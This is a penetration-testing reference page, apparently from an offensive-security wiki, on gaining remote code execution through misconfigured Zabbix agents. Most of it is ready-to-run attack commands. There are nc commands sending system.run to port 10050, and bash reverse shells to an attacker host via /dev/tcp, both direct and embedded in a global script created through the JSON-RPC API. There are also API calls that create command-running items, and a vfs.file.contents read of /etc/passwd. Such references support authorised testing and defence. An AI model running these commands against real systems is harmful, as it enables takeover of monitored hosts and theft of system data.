# Zabbix Agent RCE

> Exploiting Zabbix Agent misconfigurations to achieve Remote Code Execution via active checks, item keys, and exposed agent command execution interfaces.

- **URL:** https://hackindex.io/services/zabbix/exploitation/zabbix-agent-rce
- **Path:** Zabbix > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/zabbix/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Zabbix agents can execute arbitrary system commands when `EnableRemoteCommands=1` or `AllowKey=system.run[*]` is configured. This leads to RCE either through direct agent communication (port 10050) or through the web interface by creating an item or action that calls `system.run`. Confirm access through [Zabbix enumeration](https://hackindex.io/services/zabbix/enumeration/zabbix-enumeration) first.

## Direct Agent Command Execution

If the Zabbix agent (port 10050) accepts connections from your IP and `system.run` is enabled, execute commands directly.

**Test system.run availability**

```bash
echo 'system.run[id]' | nc -w 3 $TARGET_IP 10050
# ZBXDuid=0(root) gid=0(root) groups=0(root)
```

**Reverse shell via agent**

```bash
echo 'system.run[bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"]' | nc -w 3 $TARGET_IP 10050
```

## RCE via Web Interface (Admin Access)

With admin credentials to the Zabbix web frontend, create a monitored item that executes `system.run` on a target host's agent.

Steps through the web UI:

1. Navigate to Configuration > Hosts and select the target host.
2. Go to Items and click Create item.
3. Set Name to anything, Type to "Zabbix agent", Key to `system.run[id]`.
4. Set Update interval to 30s and click Add.
5. Check Monitoring > Latest data for the command output.

Alternatively, use the API to create the item programmatically:

**Create a system.run item via API**

```bash
curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
  -H 'Content-Type: application/json-rpc' \
  -d '{"jsonrpc":"2.0","method":"item.create","params":{"name":"RCE Test","key_":"system.run[id]","hostid":"10084","type":0,"value_type":1,"delay":"30s"},"auth":"<SESSION_TOKEN>","id":1}'
```

## RCE via Global Scripts

Zabbix global scripts are pre-configured commands that admins can execute on any monitored host. With admin access, create a new script or modify an existing one.

**Create a global script for reverse shell**

```bash
curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
  -H 'Content-Type: application/json-rpc' \
  -d '{"jsonrpc":"2.0","method":"script.create","params":{"name":"Reverse Shell","command":"bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"","type":0,"execute_on":1,"scope":2,"groupid":"0"},"auth":"<SESSION_TOKEN>","id":1}'
```

**Execute the script on a host**

```bash
curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
  -H 'Content-Type: application/json-rpc' \
  -d '{"jsonrpc":"2.0","method":"script.execute","params":{"scriptid":"<SCRIPT_ID>","hostid":"10084"},"auth":"<SESSION_TOKEN>","id":2}'
```

## Reading Files via Agent

Even if `system.run` is disabled, the `vfs.file.contents` key reads files from the agent host.

```bash
echo 'vfs.file.contents[/etc/passwd]' | nc -w 3 $TARGET_IP 10050
```

## References

- [Zabbix: Agent Item Keys](https://www.zabbix.com/documentation/current/en/manual/config/items/itemtypes/zabbix_agent) - Official documentation on agent item keys including system.run and vfs.file.contents.
- [HackTricks: Pentesting Zabbix](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/zabbix.html) - Zabbix exploitation techniques including agent RCE and API abuse.